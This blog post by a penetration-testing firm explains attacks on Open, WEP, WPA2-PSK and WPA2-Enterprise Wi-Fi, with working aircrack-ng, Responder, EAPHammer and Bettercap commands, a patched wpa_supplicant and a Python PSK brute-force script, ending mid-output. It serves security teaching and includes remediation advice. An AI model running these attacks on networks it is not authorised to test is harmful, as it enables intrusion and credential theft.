Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025

Tue, 13 Jan 2026 16:00:44 -0800

# Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 Despite the advancements that have been made in Wi-Fi security with the arrival of WPA3, some misconfigurations and legacy protocols still remain. In this blogpost, we share insights into Wi-Fi related findings encountered during penetration testing engagements. We will present compromise methods, addressing both common scenarios and less conventional ones. The purpose of this article is to present a range of the most commonly useful attack methods in Wi-Fi penetration testing. By improving the understanding of these attacks, we hope to raise awareness on the importance of Wi-Fi security for businesses. Looking to improve your skills? Discover our **trainings** sessions! Learn more. ## Introduction In our work as penetration testers, we frequently encounter Wi-Fi networks, both during internal assessments and in Red Team engagements. The convenience for an enterprise is undeniable, with more and more mobile devices and workstations, Wi-Fi is at least convenient if not almost a necessity. It is far more straightforward to let your laptop connect to a Wi-Fi network rather than plugging in an RJ45 cable every time you move to a meeting room. However, this convenience requires immense trust in the security of a rather large attack surface. The same wireless signal that makes it easy for devices to connect also makes it easy for an attacker to try to breach your network. During a Red Team, a vulnerable Wi-Fi network can become the perfect entry point, giving access to the internal network, without ever setting foot inside the building. While Wi-Fi security is sometimes taken for granted, given that the core protocols currently in use have been around for nearly two decades. **WEP** was replaced by **WPA** in 2003 and **WPA2** in 2004. Today, although **WPA3** is becoming more common, its adoption feels timid compared to the rapid rollout of **WPA2** in the 2000s. And while **WPA2**'s 20-year existence is, in a way, a testament to its strength, some attacks remain possible. The tools and methods for these attacks are mature, benefiting from 20 years of public documentation. We even still occasionally find the ancient **WEP** protocol in its natural (often industrial) habitat. From **Open** networks to the newest standards, this article aims to show and explain real-world exploitation techniques that are still effective in the right context. Most of the methods we will present are far from new, but by understanding these common attacks, it can help assess the risks associated with each use case and take the appropriate steps to prevent an intrusion. The idea is to present a baseline state of the art regarding the most prevalent wireless security threats to Wi-Fi networks. ## 1\. Open Wi-Fi Open Wi-Fi is the most known type of _insecure_ network. It is common knowledge that one should be cautious on public **Wi-Fi** networks in cafés, airports, and hotels. However, why should we be careful with these networks, and what are the main risks ? ### a. Eavesdropping The most fundamental risk of a traditional open network is that the wireless frames themselves are not encrypted. Anyone within range with the right software can capture all the traffic passing through the air. ``` # iw wlan0 set type monitor # ip link set wlan0 up # iw wlan0 set channel 6 # tcpdump -i wlan0 -w capture.pcap tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes [...] ``` However, this risk has been significantly reduced over the years. Today, the vast majority of internet traffic is TLS protected. This means that even if an attacker captures your internet traffic, they might be able to see where your internet traffic is going, hence what sites you are consulting. But given the application layer is encrypted, they will not be able to read or modify what you are doing. To counter this passive listening at the Wi-Fi layer itself, a standard called **Opportunistic Wireless Encryption (OWE)** was introduced. It works as a spontaneous, individual key exchange for each user connecting to an **Open** network. Your device and the access point automatically create a unique encryption key without you needing to enter a password. This effectively encrypts the connection between you and the router, protecting you from simple eavesdropping. **OWE** being based on **WPA3** standard also implements **Protected Management Frames (802.11w)**\[1\], which prevents attackers from easily disconnecting you from the network. Indeed, a common attack known as **Deauthentication** is based on forging **Deauthentication Frames**, which are **Management Frames**\[2\]. In the **WPA** and **WPA2** standards, **Management Frames** are visible over the air with a passive capture such as the one above. In this case, attackers can therefore fake their MAC address (to spoof the **AP**'s) and send fake **Deauthentication Frames** to a given target. The target will think the **Access Point (AP)** wants them to disconnect and therefore drop the connection to this **AP**. Generally, after dropping a Wi-Fi connection, most clients (laptops or smartphones) will try to find another suitable **AP**, and perhaps the same **AP** if it appears available again. **Deauthentication** attacks are still widely common and can easily be leveraged to make clients disconnect from their legitimate **AP**. As we will see later on, this can be used by attacker to obtain authentication handshake on **WPA2 PSK** networks, or it can simply be used to cause a simple **Denial of Service**. However, **802.11w** standard was designed to encrypt **Management Frames** especially to negate this type of attack. When using **WPA3** (without Transition Mode) **802.11w** is always enforced. Thus, the same is true for **OWE** which truly enhances the security of **Open Wi-Fi AP**. ### b. Open door Nonetheless, even with the encryption provided by **OWE**, anyone can still connect to the network. This means an attacker can join the same local network as employees, customers or _you_. One security layer in such environments is also **client isolation**. **Client isolation** is a feature on access points that allows each device to communicate with the internet gateway (hence the AP itself), but prevents them from communicating with each other. Without it, an attacker could directly scan, probe, and attack other users' devices on the same network. Or simply perform ARP spoof attacks to become a **Man-in-the-Middle (MitM)** on the local network. While **client isolation** is considered a baseline security control for modern guest networks, we never take it for granted. As penetration testers, verifying the actual enforcement of this isolation is a mandatory step in our assessments. ### c. Man-in-the-Middle Finally, even with previous hardenings, a threat on open networks remains **Man-in-the-Middle (MitM)** attacks. These are often performed using what is called an **Evil-Twin**. Since an open network has no password, an attacker can easily create a fake Wi-Fi network with the exact same **Service Set IDentifier (SSID)**, which is basically the name of the Wi-Fi network, but with a stronger signal. Users' devices, programmed to connect to known networks automatically, may connect to the attacker's malicious **AP** instead of the legitimate one. Even when **802.11w** is enabled, this attack remains technically feasible, although it becomes significantly harder. Once the victim is connected to the **Evil-Twin** network, the attacker controls your entire connection to the Internet. Even with **TLS**, they can intercept the initial connection request and present your browser with their own fake security certificate. If the victim, _accidentally_ or _mistakenly_ clicks **accept** on the security warning, the game is over. The attacker can now decrypt, read, and even modify all the intercepted traffic. ### d. Retex During a recent pentest engagement, we encountered a corporate environment that used an **Open** Wi-Fi network for its employees. The security model relied on every employee connecting immediately to a robust corporate VPN that used client certificate authentication. At first glance, one could assume this is secure. We could not connect to their VPN without a client certificate, so we were not able to access their internal network. Indeed, on the local **Open** Wi-Fi, Windows devices were still sending out broadcast messages using infamous protocols such as **LLMNR** and **mDNS** to find other devices on the network. Therefore, simply connecting to this **Open** network and running **Responder.py**\[3\], . The number of person connected to the same Open Wi-Fi made that attack incredibly efficient. Broadcast requests answered by **Responder.py** triggers machine or user accounts' authentications towards the attacker controlled machine. ``` $ Responder.py -I wlan0 [...] [*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local [*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local [*] [LLMNR] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION [*] [LLMNR] Poisoned answer sent to 172.*.*.* for name WORKSTATION [*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local [*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local [*] [LLMNR] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION [*] [LLMNR] Poisoned answer sent to 172.*.*.* for name WORKSTATION [*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Controller) [*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Master Browser) [*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name SERVER (service: Workstation/Redirector) ``` Within a few minutes, we had collected hundreds of hashed credentials from employees' user accounts connecting to the Wi-Fi. While these are not plaintext passwords, several hashes could be cracked offline. This provided us with valid corporate credentials. Despite the inability to connect to the VPN from the Wi-Fi without having access to a valid certificate, we obtained access to multiple **Office 365** accounts, which could very much entail further compromise with a bit of social engineering or simply looting **SharePoints**, **Outlooks** and any other sensitive information available using that access. ### e. Recommendation As mentioned above, **OWE** is a great addition to the **Open** Wi-Fi network protocol. The fact that it is based on **WPA3** to negotiate session keys allows the encryption of both the **Management Frames** avoiding **Deauthentication** attacks, and the regular **Data Frames** avoiding eavesdropping over the air. However, even with **OWE** the Wi-Fi remains accessible to anyone with no password, therefore no sensitive assets must be exposed to these networks. Moreover, even in this case, **Man-in-the-Middle** becomes more tricky to obtain but is still possible due to the lack of authentication at the Wi-Fi level. The consequence of that is the clients can be fooled, whether it concerns public spaces, or the guest Wi-Fi of an enterprise's premises. Advanced phishing scenario could successfully exploit that situation. Moreover, the example given above shows how important **client isolation** and overall **network filtering** is essential for Open Wi-Fi networks. ## 2\. WEP **WEP**, or **Wired Equivalent Privacy**\[4\], was the original encryption standard for Wi-Fi, ratified in 1999. Its goal, as the name implies, was to provide wireless networks with a level of confidentiality comparable to that of a traditional wired network. For its time, it was a necessary first step, but cryptographic analysis soon revealed fundamental design flaws, leading to its official deprecation by the Wi-Fi Alliance in 2004. ### a. Why is it broken ? The weakness of **WEP** does not lie in a single mistake but in a combination of issues related to its implementation of the **RC4** stream cipher. **WEP** uses a **Stream Cipher** approach: - The **Secret**: is a Pre-Shared Key known by the **AP** and **Clients** wanting to connect. - The **IV (Initialization Vector)**: Because using the same key for every packet in a stream cipher is catastrophic (it allows an attacker to decrypt traffic using simple **XOR** operations) WEP adds a 24-bit random number called an **IV** to the packet. - The **Seed**: The **IV** is transmitted in cleartext. The **WEP** algorithm concatenates the **IV** and the **Secret Key** to create a **Seed**. - `Seed = IV + Key` - The **Keystream**: This **Seed** is fed into the **RC4** algorithm, which spits out a long stream of pseudo-random bytes called the **Keystream**. - **Encryption**: The data is **XOR** ed with the **Keystream**. - `Ciphertext = Plaintext ⊕ Keystream` First, the **Initialization Vector** is only **24 bits** (224 = 16,777,216 possibilities). In a busy network, a router sends hundreds of packets a second. Therefore, the same IV repeat relatively quickly. If two packets use the same **IV** and the same **Password**, they use the same **Keystream**. If `Packet A` and `Packet B` are encrypted with the same **Keystream**, an attacker can **XOR** the two ciphertexts together to cancel out the keystream. Indeed, if `KeystreamA = KeystreamB`, then `CiphertextA ⊕ CiphertextB = PlaintextA ⊕ KeystreamA ⊕ PlaintextB ⊕ KeystreamB = PlaintextA ⊕ PlaintextB`. From there, statistical analysis allows for the recovery of the two original plaintexts. The RC4 algorithm has a **Key Scheduling Algorithm (KSA)** that sets up the initial state. Researchers (Fluhrer, Mantin, and Shamir which gave the name **FMS attack**) discovered that the first few bytes of the RC4 keystream are strongly correlated to the value of the key itself. Because WEP constructs the seed by simply putting the IV next to the Key ( `Seed = IV + Key`), and because the IV is sent in cleartext: - An attacker captures a packet. - They see the IV (cleartext). - They see the first byte of the encrypted packet (which is almost always a known standard header). - By knowing the IV and the first byte of output, they can mathematically guess a part of the Key. - With enough packets, they can vote on the most likely characters of your password until they recover it completely. Later, attacks like **PTW (Pyshkin, Tews, Weinmann)** optimized this to use ARP packets, allowing the key to be cracked with much fewer packets (tens of thousands instead of millions). Finally, **WEP** uses **CRC32** to ensure data integrity. However, this integrity check is linear. It does not rely on a secret like cryptographic integrity check functions such as **HMAC**. Thus, an attacker can flip bits in ciphertext and update the **CRC32** checksum value without knowing the **Secret**. So WEP does not guarantee **integrity** and packets can be modified in transit. This enables packet forgery, ARP injection, replay attacks and traffic manipulation. Considering this, and the implementation of **PTW attack** in tools such as aircrack-ng\[5\], the process of cracking **WEP** becomes deterministic and requires no brute force, it is a matter of time to collect enough data to solve the cryptographic puzzle. ### b. Demonstration The good side of attacking WEP is there are thousands of tutorials online explaining how to do it. Yet, we will do a short demonstration once more here, using the `aircrack-ng` suite. First, we set up a listener with `airodump-ng` that will capture the `IVs` and put them in a file for further use: ``` $ ip link set wlan1 down $ iw wlan1 set type monitor $ ip link set wlan1 up $ airodump-ng --bssid 02:00:00:00:04:00 --channel 3 --write wep_capture wlan1 [ CH 3 ][ Elapsed: 12 s ][ 2025-08-14 12:57 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 02:00:00:00:04:00 -28 0 151 32 1 3 54 WEP WEP GodricsHollow BSSID STATION PWR Rate Lost Frames Notes Probes 02:00:00:00:04:00 02:00:00:00:05:00 -29 54 -54 0 32 ``` Then the capture file can be fed to `aircrack-ng` who will perform the PTW attack until it is able to recover the entire key: ``` $ aircrack-ng wep_capture-01.cap Aircrack-ng 1.7 [00:00:03] Tested 177409 keys (got 146 IVs) Got 246 out of 5000 IVs [...] Failed. Next try with 5000 IVs. ``` Finally, we can perform attacks with `aireplay-ng` that will cause the **AP** to generate more **IV** s. In real conditions, of course, we would avoid deauthentication attacks, especially in industrial environments, to avoid disrupting the network. However, ARP-replay can still be performed: ``` $ aireplay-ng --arpreplay -b 02:00:00:00:04:00 -h 02:00:00:00:05:00 wlan1 The interface MAC (C6:B3:2D:FA:4A:18) doesn't match the specified MAC (-h) ifconfig wlan1 hw ether 02:00:00:00:05:00 13:04:18 Waiting for beacon frame (BSSID: 02:00:00:00:04:00) on channel 3 Saving ARP requests in replay_arp-0814-130418.cap You should also start airodump-ng to capture replies. read 479483 packets (got 158770 ARP requests and 0 ACKs), sent 157231 packets...(499 pps) ``` Another solution is to just wait. In any case, after some time, you obtain a nice message from `aircrack-ng`: ``` $ aircrack-ng wep_capture-01.cap Got 48994 out of 35000 IVs Starting PTW attack with 48994 ivs. [...] KEY FOUND! [ 50:65:76:65:72:65:6C:6C:49:67:6E:6F:74 ] (ASCII: PeverellIgnot ) Decrypted correctly: 100% ``` ### c. Retex Despite being deprecated for two decades, **WEP** is not entirely extinct. We still encounter it, mostly in industrial environments or simply just when there is a very old and forgotten router nearby. Legacy systems such as old manufacturing equipment, or specialized printers sometimes lack support for more modern security protocols. During a recent penetration test in an industrial facility, we identified a **WEP**-protected network. In such a sensitive environment, active attacks such as forcing device deauthentication to generate more traffic were strictly forbidden due to the risk of disrupting operations. However, such measures were unnecessary. We performed a passive capture of the network traffic and simply waited. Within a day, the normal operational traffic of the facility had generated enough packets, and therefore enough unique **IV** s, for us to recover the key. The pentesters could focus on other objectives while the traffic capture collection ran in the background. ### d. Recommendation There is no scenario where the use of **WEP** is acceptable. Its security is fundamentally broken and offers no meaningful protection against a determined attacker. The only valid remediation is to decommission and replace any device that requires **WEP**. Otherwise, if updates are impossible due to production constraints, **WEP** should be treated as an **Open** network. ## 3\. WPA2 PSK **WPA2 PSK** ( **Wi-Fi Protected Access** with a **Pre-Shared Key**)\[6\] is the most prevalent security protocol for home, small offices, and guest networks. Instead of individual credentials, all users share a single secret key (the **PSK**) to access the network. The underlying cryptography of **WPA2** and the newer **WPA3** standards is much more robust. We will see that the main issue with **WPA2** **PSK** is the ability for the attacker to obtain a hash of the **PSK**. There are a lot of methods for that, therefore the security of the network depends almost entirely on the complexity of the **PSK**. ### a. How does it work? Firstly, **Wi-Fi Protected Access** was designed as a temporary firmware update to fix **WEP** on existing hardware without having to buy new routers. Since the hardware was built for the **RC4** cipher, **WPA** still used **RC4**, but it wrapped it in a new protocol called **TKIP (Temporal Key Integrity Protocol)** to solve **WEP**'s specific implementation flaws. Shortly after, **WPA2** was the final, long-term solution. It abandoned the **RC4** stream cipher entirely, which required new hardware chips. **WPA2** implements **AES** using a mode called **CCMP** **(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol)**. **WPA** is just as deprecated as **WEP** and is therefore very rarely seen. What is interesting in the security of **WPA2 PSK** is the key exchange process. The 4-Way Handshake, which occurs whenever a device connects to the access point. The **PSK** is not used directly to encrypt traffic. Instead, it serves as the primary input for a key derivation process. The **PSK** is combined with the network's name ( **SSID**) and processed through a **Password-Based Key Derivation Function (PBKDF2)**. This function runs the input through **4096** **iterations** of **HMAC-SHA1** to produce a **256-bit Pairwise Master Key (PMK)**. This computationally intensive step is what makes offline brute-force attacks slow. During the **4-Way Handshake**, the access point and the client exchange a series of messages ( **EAPOL Frames**) containing random numbers ( **Nonces**). Both sides use the **PMK** they derived, along with the **Nonces** and their MAC addresses, to independently generate a fresh set of temporary keys. The most important of these is the **Pairwise Transient Key (PTK)**, which is used to encrypt all subsequent data for that session. During this process, given each party derives the key elements based on their knowledge of the **PSK**, the **M2** and **M3** messages also serve the purpose of proving one another that the other party indeed has knowledge of the **PSK**. The **MIC (Message Integrity Code)** is used once the **PTK** has been derived, to authenticate the **EAPOL** messages **M2** and **M3**. It consists of a **HMAC-SHA1** of the **EAPOL** frame data body using a part of the **PTK** as key. Ultimately, this **MIC** is therefore derived from the **PSK** and using only known elements. Summarizing the steps we have: - `PMK = PBKDF2(PSK, SSID, 4096, 256)`-> **PMK** obtained from the **PSK** and known **SSID** - `PTK = PRF(PMK, ANonce, SNonce, MAC_STA, MAC_AP)`-> **PTK** obtained from **PMK** and known **ANonce**, **SNonce**(because in the exchange) and **MAC addresses** of both **Client** and **Access Point**(also known). - `MIC = HMAC-SHA1(EAPOL_data, PTK)`-> **MIC** result of **HMAC** from the data (known because in the **EAPOL** frames) and the **PTK** **PSK**, which is the only prerequisite to access a **WPA2 PSK** AP. Capturing **M1** and **M2** are enough to try and bruteforce the **PSK**(considering that the client has indeed authenticated using the correct passphrase). ### b. Attacks Almost all attacks against **WPA2 PSK** networks focus on one objective: capturing the necessary data to perform an offline brute-force or dictionary attack against the **PSK**. For that, as explained above, even the capture of a half-handshake (M1, M2) can be enough. A full handshake capture is better because it provides **M2** and **M3** which contain the _validation_ of respectively the **Client** and the **AP** that they possess the correct **PSK**. If we have **M3**, we can confirm the **AP** _validates_ the **PSK** used by the client. To capture these four-way handshakes, an attacker has several options: - **Passive Capture**: An attacker can simply monitor the Wi-Fi frequency channels and wait for a legitimate device to connect or reconnect to the network, capturing the handshake when it occurs naturally. - **Deauthentication**: To speed things up, an attacker can send spoofed **deauthentication** frames to a connected client. This forces the client to disconnect and immediately attempts to reconnect, triggering a new handshake for the attacker to capture. - **Evil Twin**: By setting up a **fake AP** with the same **SSID**, an attacker can trick clients into attempting to connect. The second message of the handshake ( **M2**) sent by the client contains enough data as explained above. However, we can note that all those methods rely on the presence and actions of legitimate clients. Nonetheless, there are some attack methods that do not even require the presence of clients to obtain a hashed version of the **PSK**. To support fast roaming (IEEE 802.11r), some access points pre-calculate and cache a **Pairwise Master Key Identifier (PMKID)**. This **PMKID** is also derived from the **PMK** known elements\[8\]. An attacker can simply attempt to connect to the **AP**, and the latter will then send the **PMKID** in its response. This single piece of data is therefore enough to mount an offline brute-force attack against the **PSK**, making it a faster method as it does not require clients. Finally, if **no clients** **are present** and the **AP is not vulnerable to PMKID client-less attacks**, an attacker's last resort may be to try authenticating with a list of potential passwords one by one. This online attack is slow and noisy. This could be easily detected, but Wi-Fi is not usually regularly monitored. It is unlikely to work if the password is not obvious but still, as a desperate attempt, feasible. Since that situation occurred in one of our Red Team engagements, we tried to optimize a bit this process. It is a simple script, but we still reached several hundred password attempts in a reasonable time, which could cover a good part of trivial passwords we would like to try in this scenario. ### c. PSK Online Bruteforce The initial idea is to simply launch `wpa_supplicant` over and over again with a different configuration to test the passwords one by one. Although it is already a good start, that is not very efficient. To speed up the process a bit, we chose to use `wpa_supplicant` in daemon mode. As the documentation puts it: "wpa\_supplicant is designed to be a "daemon" program that runs in the background and acts as the backend component controlling the wireless connection."\[9\]. Then, to avoid timeout, since we are using a single instance of `wpa_supplicant`, we have to remove the timeout from the source code and recompile the `wpa_supplicant` for our use case: - Patch the timeout on **PSK** failures ``` $ cat -n wpa_supplicant-2.11/wpa_supplicant/wpa_supplicant.c [...] 8845 8846 if (ssid->auth_failures > 50) 8847 dur = 300; 8848 else if (ssid->auth_failures > 10) 8849 dur = 120; 8850 else if (ssid->auth_failures > 5) 8851 dur = 90; 8852 else if (ssid->auth_failures > 3) 8853 dur = 60; 8854 else if (ssid->auth_failures > 2) 8855 dur = 30; 8856 else if (ssid->auth_failures > 1) 8857 dur = 20; 8858 else 8859 dur = 10; 8860 /* patch start */ 8861 dur = 0; 8862 8863 /*if (ssid->auth_failures > 1 && 8864 wpa_key_mgmt_wpa_ieee8021x(ssid->key_mgmt)) 8865 dur += os_random() % (ssid->auth_failures * 10); 8866 8867 8868 os_get_reltime(&now); 8869 if (now.sec + dur <= ssid->disabled_until.sec) 8870 return; 8871 8872 ssid->disabled_until.sec = now.sec + dur; 8873 */ 8874 8875 /* patch end */ 8876 8877 wpa_msg(wpa_s, MSG_INFO, WPA_EVENT_TEMP_DISABLED 8878 "id=%d ssid=\"%s\" auth_failures=%u duration=%d reason=%s", 8879 ssid->id, wpa_ssid_txt(ssid->ssid, ssid->ssid_len), 8880 ssid->auth_failures, dur, reason); 8881 8882 if (bssid) 8883 os_memcpy(ssid->disabled_due_to, bssid, ETH_ALEN); 8884 } [...] ``` - Compilation ``` $ cd wpa_supplicant-2.11/wpa_supplicant $ make && make install ``` Then, we launch our fresh `wpa_supplicant` in daemon mode, so that our script can communicate with it via the Unix Socket: - Configuration file: ``` $ cat wpa_supplicant.conf ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root update_config=1 ``` - Launch `wpa_supplicant` daemon: ``` # wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf ``` - Then our script can be used: ``` $ python3 bf_psk_connection.py --help usage: bf_psk_connection.py [-h] [--interface INTERFACE] --ssid SSID --pskfile PSKFILE [--ctrl_interface_dir CTRL_INTERFACE_DIR] Connect to a WiFi network using wpa_supplicant and test multiple PSKs. options: -h, --help show this help message and exit --interface INTERFACE Interface connected to wpa_supplicant --ssid SSID SSID of the network to connect to --pskfile PSKFILE File containing PSKs to test --ctrl_interface_dir CTRL_INTERFACE_DIR Directory for wpa_supplicant control interface ``` In its current state, the script remains a simple PoC, but it works really great. It connects to the socket, and basically listens for events corresponding to **connection** or **disconnection**: ``` def read_from_socket(self): data, _ = self.sock.recvfrom(4096) event = data.decode() logging.debug(f"Received event: {event}") if "CTRL-EVENT-CONNECTED" in event: logging.info("Connection successful with current PSK.") self._found_psk = True self.loop.stop() elif "CTRL-EVENT-DISCONNECTED" in event: logging.info("Failed to connect with current PSK. Trying next one...") self.loop.call_soon_threadsafe(self.loop.stop) ``` And then based on that, it is just a for-loop on all **PSK** s we want to try: ``` def test_psks(self, ssid): self.send_command("ATTACH") self.loop.add_reader(self.sock.fileno(), self.read_from_socket) with open(self.psk_file, 'r') as file: psks = file.read().splitlines() self.send_command("REMOVE_NETWORK all") self.send_command("ADD_NETWORK") self.send_command(f'SET_NETWORK 0 ssid "{ssid}"') self.send_command("ENABLE_NETWORK 0") self.send_command("SCAN") tic = time.perf_counter() for psk in psks: logging.info(f"Testing PSK: {psk}") self.send_command(f'SET_NETWORK 0 psk "{psk}"') self.send_command("REASSOCIATE") self.loop.run_forever() if self._found_psk: self._valid_psk = psk break toc = time.perf_counter() if self._found_psk: logging.info(f"PSK FOUND : {self._valid_psk}") logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds") else: logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds") ``` The hardest part of making this simple script was to find the exact `nl80211` commands to use, in the correct order, for the connection attempts to correctly launch, and to find out how to reset the **PSK** after each attempt. As shown in the above script, in the correct order, here is what it does: - `ADD_NETWORK` - `SET_NETWORK 0 ` - `ENABLE_NETWORK 0` - `SCAN` - `SET_NETWORK 0 psk ` - `REASSOCIATE` The last two commands are repeated to only change the PSK and retry. It should be noted this method allows using only once the `SCAN` command. Otherwise, `wpa_supplicant` will do this `SCAN` first by default to detect nearby networks before trying to connect to an AP. Using a single instance of `wpa_supplicant` avoids this time overhead on each execution of `wpa_supplicant`, when using several processes of `wpa_supplicant`. Sadly the four-way handshake we described earlier is fully handled by the driver, which means using a managed interface like we do here does not allow parallelization to our knowledge. The connection routine is done once the `REASSOCIATE` command is launched for each new **PSK** we want to try. Despite the single thread, however, we nearly achieved 100 attempts in 5 minutes using this method. This rate is nothing to write home about, but we were still surprised to observe that all routers we tested this on, did not seem to block our connection attempts even after so many failed tries. ### d. Retex We frequently encounter **WPA2 PSK** networks during engagements. Cracking the key is not always successful, as the **PBKDF2** algorithm, used to derivate the **PMK**, makes it a computationally expensive task. Success is highly dependent on the quality of the password, if it is not based on the company's context (name, location, etc.), it is often impractical to crack within the timeframe of an audit. However, we succeeded a couple of times during real engagements which is why it is still worth a try. ### e. Recommendations The security of a **WPA2 PSK** network is almost entirely dependent on the quality of its password. Use a strong and random passphrase: a long, unpredictable passphrase makes an offline brute-force attack computationally infeasible. The cost of PBKDF2 computation ensures that even powerful hardware would take an impractical amount of time to crack a truly random key. However, to prevent from the above attacks, and even more recent (so not that recent) and technical attacks such as **KRACK**\[10\], you can always upgrade to **WPA3 SAE**. If your hardware supports it, upgrading to **WPA3** is highly recommended. **WPA3** replaces the **PSK** handshake with **SAE (Simultaneous Authentication of Equals)**\[11\], a modern key exchange protocol (Dragonfly Protocol) that enable a Zero-Knowledge Proof exchange of the key. With **SAE**, an attacker cannot capture even a hashed version of the password. Despite this apparent security (if the **PSK** is strong), the most significant risk of **WPA2 PSK** in an enterprise context is organizational. Since the password is shared among all users, there is no individual accountability. More importantly, the key is rarely changed when an employee or contractor leaves, because doing so requires reconfiguring every single device on the network. This creates a residual access control risk, where former employees may retain access to the network indefinitely. This lack of granular access control is precisely why larger organizations prefer the more manageable **WPA2 EAP (aka WPA2 Enterprise)** standard. ## 4\. WPA2 EAP **WPA2 EAP** often referred to as **Enterprise Wi-Fi**, which is based on the **IEEE 802.1X** standard. Instead of a **PSK**, each user or device authenticates with unique credentials, typically against a central **RADIUS (Remote Authentication Dial-In User Service)** server. This approach provides granular access control and individual accountability. However, the security of the network no longer relies on the strength of a single password but shifts entirely to the correct configuration of the authentication process itself. ### a. Extensible Authentication Protocol **802.1X** uses the **Extensible Authentication Protocol (EAP)** as a framework to handle the authentication. **EAP** is not a single protocol but a container that supports several different authentication methods. When a device tries to connect to a given **AP**, the authentication flow is the following: Several **EAP methods** can be used. Since EAP is just the framework, " **EAP Methods**" are the specific ways a device can actually prove its identity. The most common ones are: - **EAP-TLS:** The gold standard for security. It uses **certificates** on both sides. The server has a certificate to prove it is legitimate, and the client must also have a unique **client certificate** installed to prove its identity. - **PEAP (Protected EAP):** Developed to avoid the difficulty of installing certificates on every single client device. It creates a secure encrypted tunnel using only a **server certificate** to let the user verify its authenticity. Inside that safe tunnel, the user logs in with a standard username/password or challenge/response. - **TTLS (Tunneled TLS):** Similar to **PEAP**. **PEAP** and **TTLS** are referred to as " **tunneled methods**". Compared to direct methods such as **EAP-TLS**, they need a " **phase 2**" method where the actual user authentication happens inside the tunnel which in itself is only the " **phase 1**". The difference can be summarized as follows: - **Direct (EAP-TLS):** The "outer" connection _is_ the authentication. When the client and server perform the TLS handshake, they exchange certificates immediately. If the certificates are valid, the user is authenticated. The handshake is the proof. - **Tunnelled (PEAP & TTLS):** These methods use a **Phase 1 / Phase 2** approach. **Phase 1** is the creation of the tunnel, **PEAP** or **TTLS**. **Phase 2** is any protocol that is supported after that, **MSCHAPv2** being the most common, but **MD5**, **GTC** also exist for instance. We will see later that the **Phase 2** is important in nature. But the main issue lies in the establishment of the tunnel during **Phase 1**: During the TLS exchange occurring during **Phase 1** the client verifies the certificate of the **RADIUS** server, before authenticating inside the tunnel during **Phase 2**. ### b. Where does the liability lie The aforementioned element, the server's certificate verification by the client, is the most common point of failure in **WPA2 Enterprise** deployments. During **Phase 1** of a tunnelled **EAP** handshake, the **RADIUS** server presents a certificate to the client to prove its identity. If the client is not configured to strictly validate this certificate (i.e. check that it is signed by a trusted authority and has the correct name), it will blindly trust any server that presents a certificate. This often comes from lack of security awareness, where the person configuring the device will just configure "Do not validate certificate" because, at least, _it works_. This lack of validation, allows an attacker to receive the user's credentials, as the client will happily perform its **Phase 2** authentication with the attacker's fake server. Depending on the **EAP method** used, the consequences are different. **MSCHAPv2** will require an attacker to perform offline cracking, since the obtained credentials is a challenge-response. However, if unsecure **EAP methods** such as GTC is used, then the password can be obtained in cleartext. ### c. Clone As mentioned above, in cases where certificate validation is lacking, an attacker can present any certificate for a **RADIUS** server and the client will still try to authenticate. But to obtain that connection, you need to create a fake **Access Point**. This attack is known as " **Evil Twin**". An attacker sets up a malicious **AP** with the same **SSID** as the corporate network. To make the attack more efficient, **deauthentication attacks** can be performed, trying to force legitimate clients to disconnect from their **AP** and scan for networks. Most devices, once disconnected, will try to reconnect immediately to any known **AP**. At that point either they reconnect to the same **AP** or to another **AP** with the same **SSID**. In this situation, if the **Evil Twin** provides a good signal, there is a high chance of getting a connection from that client. A good tool to create this kind of **Evil Twin** for **WPA2 EAP** is **EAPHammer**\[12\]. Simply generate certificates with the `--cert-wizard` options and then use a Wi-Fi interface to create a clone of the Target AP which will use the certificates for the **RADIUS** server that will host for the authentication process: ``` # eaphammer --cert-wizard # eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1 .__ ____ _____ ______ | |__ _____ _____ _____ ___________ _/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \ \ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/ \___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__| \/ \/|__| \/ \/ \/ \/ \/ Now with more fast travel than a next-gen Bethesda game. >:D Version: 1.14.1 Codename: Final Frontier Author: @s0lst1c3 Contact: gabriel<>transmitengage.com [?] Am I root? [*] Checking for rootness... [*] I AM ROOOOOOOOOOOOT [*] Root privs confirmed! 8D [*] Saving current iptables configuration... [*] Saving current iptables configuration... [...] [hostapd] AP starting... wlan1: interface state UNINITIALIZED->COUNTRY_UPDATE Using interface wlan1 with hwaddr f2:ab:b8:12:34:56 and ssid "MinistryOfMagic" wlan1: interface state COUNTRY_UPDATE->ENABLED wlan1: AP-ENABLED ``` Generally, as mentioned above, accompanying the clone with **deauthentication attacks** in order to nudge the legitimate clients into reconnecting can help make the attack more efficient. Several tools allow **deauthentication attacks**, but below is an example using **Bettercap**\[13\] (which also provides a nice reconnaissance feature). Note that when an **AP** is cloaked (meaning it does not broadcast its **SSID**) **deauthentication** will also let you obtain the **SSID** of the **AP** which is necessary for any clone attack to work. ``` $ bettercap -iface wlan0 [...] wlan0 » wifi.recon.channel 6 [14:13:00] [sys.log] [inf] wifi channels: [6] wlan0 » wifi.show ┌─────────┬───────────────────┬──────────────────┬─────────────────────┬─────┬────┬─────────┬────────┬────────┬──────────┐ │ RSSI ▴ │ BSSID │ SSID │ Encryption │ WPS │ Ch │ Clients │ Sent │ Recvd │ Seen 